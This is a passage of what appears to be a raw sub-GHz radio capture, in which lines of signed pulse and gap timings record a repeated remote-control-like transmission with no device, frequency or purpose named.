-370 349 -132 331 -122 339 -126 337 -130 123 -3730 97 -374 95 -372 95 -372 345 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3700 131 -340 129 -370 97 -370 347 -94 367 -130 337 -128 337 -126 341 -124 91 -372 349 -132 331 -124 337 -128 121 -370 101 -368 93 -380 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3732 97 -360 101 -384 105 -338 355 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 105 -336 353 -140 335 -126 363 -106 359 -106 343 -104 135 -358 353 -92 365 -106 337 -124 125 -358 139 -334 125 -356 -RAW_Data: 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 335 -128 353 -92 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3704 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 105 -336 353 -140 335 -126 363 -106 359 -106 345 -102 137 -356 353 -92 345 -138 337 -128 97 -376 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3716 131 -354 101 -394 105 -336 369 -106 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 331 -124 337 -126 371 -96 125 -3706 133 -358 103 -380 103 -336 355 -140 335 -126 363 -104 361 -106 343 -104 135 -356 355 -92 365 -106 337 -124 125 -358 139 -334 125 -356 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -382 103 -336 355 -140 333 -128 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -122 339 -126 371 -96 123 -3730 97 -374 95 -372 97 -370 347 -126 337 -128 337 -128 337 -128 337 -124 123 -346 347 -134 331 -124 337 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3730 99 -372 97 -370 97 -372 345 -126 337 -128 339 -128 337 -126 341 -124 91 -374 349 -132 329 -124 339 -126 123 -370 101 -368 91 -382 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 -RAW_Data: 331 -122 339 -126 337 -130 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -126 363 -106 359 -106 345 -104 137 -354 357 -108 347 -102 365 -92 121 -376 137 -334 125 -352 351 -104 141 -362 105 -336 129 -360 93 -390 327 -124 337 -126 339 -128 337 -128 127 -3704 131 -358 105 -370 97 -362 351 -140 333 -94 377 -94 369 -98 369 -96 127 -368 363 -106 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 101 -380 103 -336 355 -140 335 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 125 -338 349 -132 333 -122 339 -126 337 -130 123 -3708 131 -340 129 -340 127 -342 345 -126 369 -96 371 -96 367 -94 369 -142 105 -346 345 -126 337 -128 337 -128 95 -366 125 -358 125 -338 349 -134 103 -348 125 -364 127 -342 133 -332 355 -142 335 -128 349 -94 391 -104 103 -3706 139 -338 135 -332 123 -358 327 -124 385 -106 359 -108 337 -128 351 -94 121 -374 351 -106 347 -142 331 -124 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3698 131 -340 129 -370 97 -370 345 -126 337 -130 337 -128 337 -126 341 -124 121 -344 349 -132 331 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3700 131 -372 97 -370 97 -370 347 -124 339 -128 337 -128 337 -126 341 -124 123 -342 349 -132 331 -122 339 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3704 131 -360 101 -382 105 -336 355 -140 335 -128 363 -104 361 -106 345 -102 137 -346 343 -128 337 -128 339 -126 127 -348 125 -360 103 -356 357 -106 141 -330 127 -370 95 -372 93 -380 343 -128 337 -128 337 -128 339 -124 93 -3738 103 -380 105 -366 93 -384 325 -126 351 -124 359 -104 359 -108 335 -124 145 -342 345 -108 337 -132 355 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3704 131 -360 101 -382 105 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3730 99 -372 97 -372 -RAW_Data: 95 -372 347 -124 337 -128 337 -130 337 -126 339 -124 123 -344 347 -134 331 -124 337 -126 123 -372 101 -366 93 -382 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3730 97 -372 97 -372 97 -370 347 -124 337 -128 337 -130 337 -126 339 -124 123 -344 349 -132 331 -124 337 -128 121 -372 101 -368 91 -384 349 -104 141 -362 105 -338 127 -358 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3708 129 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 353 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -98 123 -3704 131 -360 101 -384 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 103 -386 105 -366 325 -142 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3732 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 103 -384 105 -368 325 -140 337 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -104 363 -124 91 -374 137 -334 125 -354 351 -104 141 -362 105 -338 127 -360 93 -392 327 -122 337 -128 337 -128 339 -128 125 -3702 131 -340 129 -340 125 -362 355 -106 351 -142 333 -122 361 -104 359 -106 105 -398 319 -142 319 -140 333 -124 109 -374 97 -360 125 -360 327 -122 145 -342 99 -364 123 -374 95 -372 347 -94 361 -124 337 -126 339 -128 123 -3706 131 -360 103 -376 105 -334 353 -140 335 -126 363 -106 361 -104 347 -102 137 -354 353 -94 345 -138 337 -128 97 -376 141 -334 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -108 339 -130 355 -94 121 -3744 99 -350 137 -360 105 -336 377 -106 339 -130 353 -94 369 -96 371 -128 -RAW_Data: 93 -368 365 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 127 -360 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3732 99 -372 97 -370 97 -372 345 -126 337 -128 337 -128 337 -126 339 -124 123 -344 349 -132 331 -124 339 -126 121 -372 101 -368 93 -380 351 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3732 97 -360 101 -386 103 -338 355 -140 337 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -354 137 -336 127 -354 125 -340 349 -132 331 -124 339 -126 369 -98 123 -3732 99 -358 103 -384 105 -338 355 -140 335 -126 351 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 139 -334 127 -372 105 -360 347 -108 361 -106 339 -132 357 -92 121 -3738 99 -348 127 -370 97 -372 347 -92 377 -96 369 -128 337 -128 337 -126 95 -356 347 -134 333 -124 339 -128 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3732 97 -372 97 -372 95 -372 345 -126 337 -128 337 -128 339 -126 337 -124 123 -346 349 -132 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -126 349 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -342 129 -360 125 -360 325 -124 121 -352 125 -342 133 -366 91 -380 351 -102 337 -124 373 -94 371 -96 123 -3738 99 -358 103 -384 105 -336 355 -140 335 -128 347 -94 391 -104 359 -108 105 -360 357 -106 351 -138 331 -124 109 -374 97 -360 123 -360 329 -122 121 -352 139 -334 127 -356 125 -338 351 -132 333 -122 339 -126 339 -128 125 -3704 131 -358 103 -382 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 353 -140 335 -128 347 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 331 -124 109 -374 97 -360 -RAW_Data: 125 -358 327 -122 121 -354 123 -344 133 -366 93 -378 351 -104 335 -124 373 -94 371 -96 123 -3732 97 -374 95 -372 97 -370 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -132 333 -122 339 -128 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 129 -358 123 -340 351 -132 331 -124 337 -126 339 -128 123 -3708 131 -360 101 -382 103 -336 355 -140 333 -128 365 -104 361 -106 343 -102 137 -356 357 -106 347 -138 331 -124 89 -376 137 -334 125 -368 331 -134 101 -360 105 -370 93 -396 103 -360 349 -106 361 -108 339 -130 357 -92 121 -3740 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -128 337 -126 93 -388 317 -134 333 -124 373 -94 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 371 -96 123 -3702 133 -358 103 -384 105 -336 357 -140 335 -126 363 -106 359 -106 345 -102 137 -346 343 -128 337 -130 337 -126 127 -348 125 -338 129 -372 315 -126 133 -344 125 -356 139 -334 125 -354 349 -104 337 -124 385 -104 361 -106 107 -3734 99 -360 93 -392 101 -358 357 -106 349 -140 331 -124 361 -104 357 -108 105 -398 319 -106 353 -142 333 -122 109 -374 97 -362 123 -360 327 -122 143 -344 99 -366 123 -358 101 -394 353 -106 359 -108 333 -124 361 -104 103 -3744 103 -340 137 -336 123 -356 359 -92 383 -104 361 -106 339 -130 355 -94 121 -374 351 -106 351 -140 333 -124 107 -374 97 -362 123 -338 351 -132 105 -396 105 -334 127 -356 93 -370 349 -132 331 -124 337 -126 337 -130 123 -3732 97 -372 97 -372 95 -370 347 -124 339 -128 337 -128 337 -128 337 -124 123 -348 347 -132 333 -122 339 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 369 -98 123 -3708 131 -358 103 -382 103 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3732 97 -360 135 -352 105 -368 325 -142 335 -126 349 -94 371 -96 369 -130 93 -368 363 -108 339 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 337 -130 123 -3704 131 -360 101 -384 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 123 -340 -RAW_Data: 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -358 137 -352 105 -368 325 -140 335 -126 351 -94 369 -128 337 -128 95 -368 363 -108 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3704 133 -358 103 -382 105 -336 355 -140 335 -128 363 -104 361 -106 345 -102 137 -356 353 -94 345 -138 339 -128 95 -376 139 -334 125 -366 329 -134 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 357 -92 121 -3746 97 -350 137 -360 103 -370 343 -108 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3736 99 -358 103 -384 105 -336 355 -142 335 -126 363 -106 359 -106 345 -104 135 -348 343 -126 337 -130 337 -128 125 -350 125 -338 129 -340 347 -126 131 -344 125 -358 137 -334 127 -354 349 -104 337 -124 385 -104 361 -106 107 -3704 131 -360 93 -370 129 -340 347 -124 353 -126 359 -104 359 -106 337 -124 145 -340 347 -108 371 -98 359 -94 139 -340 129 -358 125 -360 327 -122 121 -352 139 -334 127 -358 125 -338 349 -132 333 -122 339 -126 371 -96 123 -3730 97 -374 95 -372 97 -372 345 -126 337 -128 337 -130 337 -126 339 -124 123 -348 349 -132 331 -124 337 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3706 131 -360 101 -384 103 -336 355 -140 335 -128 349 -94 369 -96 369 -98 125 -368 365 -106 337 -128 351 -94 123 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3732 99 -358 103 -386 105 -336 357 -140 335 -126 349 -94 369 -98 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -122 339 -126 371 -96 123 -3732 99 -358 103 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -362 125 -358 329 -122 121 -352 137 -336 127 -372 103 -362 347 -106 363 -106 339 -130 357 -94 121 -3744 99 -352 135 -360 105 -338 375 -108 337 -130 353 -94 369 -98 369 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 127 -360 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3732 99 -358 -RAW_Data: 103 -386 105 -336 355 -140 337 -126 365 -104 361 -106 345 -102 137 -356 353 -94 345 -138 337 -128 97 -376 141 -334 125 -364 331 -134 101 -358 143 -334 93 -384 93 -372 347 -132 329 -124 337 -128 337 -128 125 -3702 131 -358 101 -386 105 -336 355 -140 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -811502 163 -350 123 -360 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 105 -396 321 -104 353 -140 331 -124 109 -374 97 -360 93 -390 327 -122 145 -342 99 -364 123 -360 101 -394 319 -140 319 -142 333 -124 359 -104 105 -3726 91 -382 101 -366 93 -382 349 -102 337 -124 341 -126 339 -128 337 -128 127 -340 357 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 129 -356 93 -372 349 -132 329 -124 337 -128 337 -128 123 -3702 133 -358 103 -378 103 -336 355 -140 337 -94 347 -126 369 -98 369 -96 127 -370 327 -142 335 -126 351 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -380 103 -336 355 -140 333 -126 347 -94 369 -98 369 -96 127 -368 365 -106 337 -128 351 -94 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 337 -130 123 -3700 131 -340 129 -340 127 -370 347 -94 367 -98 369 -128 337 -126 343 -122 93 -370 349 -130 331 -122 337 -128 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3702 131 -360 101 -380 105 -336 353 -140 335 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 103 -378 105 -334 355 -140 333 -128 347 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 123 -352 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 337 -128 337 -128 125 -3702 131 -360 101 -382 103 -336 355 -140 335 -126 349 -94 369 -96 369 -96 125 -368 365 -108 337 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 133 -358 103 -378 103 -336 355 -140 333 -126 347 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 127 -358 -RAW_Data: 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3704 131 -358 103 -380 105 -336 355 -138 335 -128 347 -94 369 -96 371 -128 93 -368 365 -106 337 -130 351 -94 121 -372 103 -366 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 349 -94 369 -96 369 -128 95 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3706 131 -360 101 -380 103 -336 355 -140 335 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 349 -94 369 -98 369 -96 125 -370 363 -108 335 -128 351 -94 123 -372 103 -368 125 -352 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 331 -124 337 -126 339 -128 123 -3708 131 -360 101 -380 103 -336 355 -140 333 -128 347 -94 369 -96 369 -98 125 -368 365 -106 337 -128 351 -94 121 -374 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3730 97 -360 101 -384 105 -338 355 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3704 131 -360 101 -382 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -372 103 -366 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3730 97 -374 95 -372 95 -372 347 -124 339 -128 337 -128 337 -128 339 -124 123 -342 349 -132 331 -122 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 131 -358 103 -380 105 -336 353 -140 335 -126 363 -106 359 -106 345 -102 137 -356 357 -106 347 -104 365 -92 121 -374 137 -334 125 -368 331 -134 101 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3712 131 -350 137 -360 105 -336 375 -108 337 -130 353 -94 369 -98 369 -128 93 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3730 -RAW_Data: 97 -374 95 -372 97 -372 345 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -128 125 -3704 131 -358 103 -382 103 -336 357 -140 335 -126 363 -106 359 -106 343 -104 135 -358 353 -92 345 -138 337 -128 97 -376 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3738 99 -348 125 -372 97 -372 347 -92 377 -94 369 -96 369 -130 337 -126 93 -358 347 -134 331 -124 339 -128 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3732 99 -358 103 -384 105 -336 355 -140 335 -126 349 -94 391 -104 359 -106 107 -360 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3702 131 -358 101 -386 105 -336 355 -140 337 -126 363 -104 361 -106 345 -102 137 -356 353 -94 365 -104 339 -124 123 -360 139 -334 125 -356 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 331 -124 337 -126 371 -96 123 -3702 131 -358 103 -384 105 -336 355 -142 335 -126 363 -106 359 -106 345 -102 137 -356 353 -92 345 -138 337 -128 131 -342 141 -334 93 -396 331 -134 101 -360 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3744 97 -350 135 -360 105 -370 343 -108 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -336 355 -142 335 -126 363 -106 361 -106 345 -102 137 -356 357 -106 347 -104 363 -94 119 -376 137 -334 125 -368 331 -134 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 357 -92 121 -3740 99 -380 103 -360 105 -368 347 -106 339 -130 357 -94 367 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -124 337 -126 371 -96 123 -3732 97 -374 95 -372 97 -370 347 -126 337 -128 337 -128 337 -126 339 -124 123 -346 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -336 355 -142 335 -128 363 -106 -RAW_Data: 361 -104 345 -104 135 -356 357 -106 347 -138 329 -124 91 -374 139 -334 125 -366 333 -132 103 -358 107 -368 93 -396 103 -362 347 -106 363 -106 339 -130 357 -92 121 -3740 99 -380 103 -360 103 -370 347 -106 339 -130 357 -94 369 -128 337 -128 95 -366 367 -106 339 -128 353 -94 121 -374 101 -370 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 371 -96 125 -3702 131 -358 103 -382 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -138 333 -122 109 -374 97 -360 125 -358 327 -124 121 -352 125 -342 133 -366 91 -380 351 -104 335 -122 375 -94 369 -96 125 -3730 99 -358 135 -354 107 -368 325 -140 337 -126 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 369 -98 123 -3702 131 -358 101 -384 105 -336 357 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -138 333 -122 109 -342 129 -360 125 -358 327 -124 121 -352 123 -344 133 -366 91 -380 351 -104 335 -122 375 -94 369 -98 123 -3734 99 -358 103 -386 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 95 -362 123 -360 327 -124 121 -352 137 -336 127 -356 123 -340 351 -132 331 -124 337 -126 339 -128 123 -3734 97 -372 97 -372 95 -370 347 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -134 331 -124 337 -128 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -358 103 -384 105 -368 325 -142 335 -126 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 103 -338 129 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3704 133 -358 103 -382 103 -336 357 -140 335 -126 347 -94 391 -106 357 -108 103 -362 357 -104 351 -140 331 -124 107 -374 97 -362 123 -360 327 -122 145 -342 99 -364 123 -374 95 -372 347 -96 359 -124 337 -128 337 -128 123 -3696 131 -340 129 -372 95 -372 345 -94 369 -128 339 -128 337 -126 339 -124 93 -372 349 -132 331 -124 339 -126 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3732 97 -360 101 -386 105 -336 357 -140 335 -128 349 -94 391 -104 357 -108 105 -360 357 -106 349 -140 331 -124 -RAW_Data: 109 -374 97 -360 125 -360 325 -124 121 -352 139 -334 127 -356 123 -340 351 -132 331 -124 337 -128 337 -128 125 -3728 99 -372 95 -372 97 -372 345 -124 337 -128 337 -130 337 -126 339 -124 123 -348 349 -132 331 -124 339 -128 121 -370 101 -368 91 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -366 327 -140 335 -128 363 -106 361 -104 345 -104 137 -354 357 -106 347 -138 331 -124 89 -376 137 -334 125 -366 333 -132 103 -358 107 -368 93 -398 103 -360 349 -106 361 -108 339 -130 357 -92 121 -3748 99 -350 137 -360 105 -336 375 -108 339 -130 321 -124 369 -98 369 -98 125 -370 329 -140 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 93 -370 349 -134 331 -124 339 -126 337 -130 123 -3704 131 -358 103 -382 105 -336 355 -140 337 -126 317 -126 371 -96 369 -96 127 -370 329 -140 337 -128 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 339 -128 337 -128 125 -3732 97 -372 97 -372 95 -370 347 -124 337 -128 339 -128 337 -128 339 -124 123 -344 349 -132 331 -122 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 341 -126 337 -130 123 -3734 99 -360 101 -384 103 -338 355 -140 337 -126 347 -94 391 -106 357 -108 103 -362 357 -104 351 -140 331 -124 107 -376 97 -360 123 -360 327 -122 121 -354 123 -344 133 -366 93 -378 351 -104 335 -122 375 -94 369 -98 123 -3730 99 -372 95 -372 97 -372 345 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3734 99 -358 103 -384 105 -336 357 -140 335 -126 363 -106 361 -106 345 -102 137 -354 353 -94 343 -140 337 -128 97 -376 105 -370 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 341 -130 357 -94 121 -3716 131 -354 101 -394 105 -336 373 -106 337 -130 355 -94 369 -96 369 -130 93 -368 363 -108 337 -128 353 -92 123 -374 101 -368 125 -354 349 -104 141 -362 105 -338 129 -358 93 -370 351 -132 331 -124 337 -128 337 -130 123 -3732 97 -372 97 -372 97 -370 345 -126 337 -128 337 -128 337 -128 337 -124 125 -346 349 -132 331 -122 339 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 -RAW_Data: 129 -358 93 -372 349 -132 331 -124 339 -126 337 -130 123 -3734 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -124 121 -352 139 -334 127 -356 123 -340 351 -132 333 -122 339 -126 339 -128 123 -3706 133 -358 103 -380 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -354 353 -94 343 -140 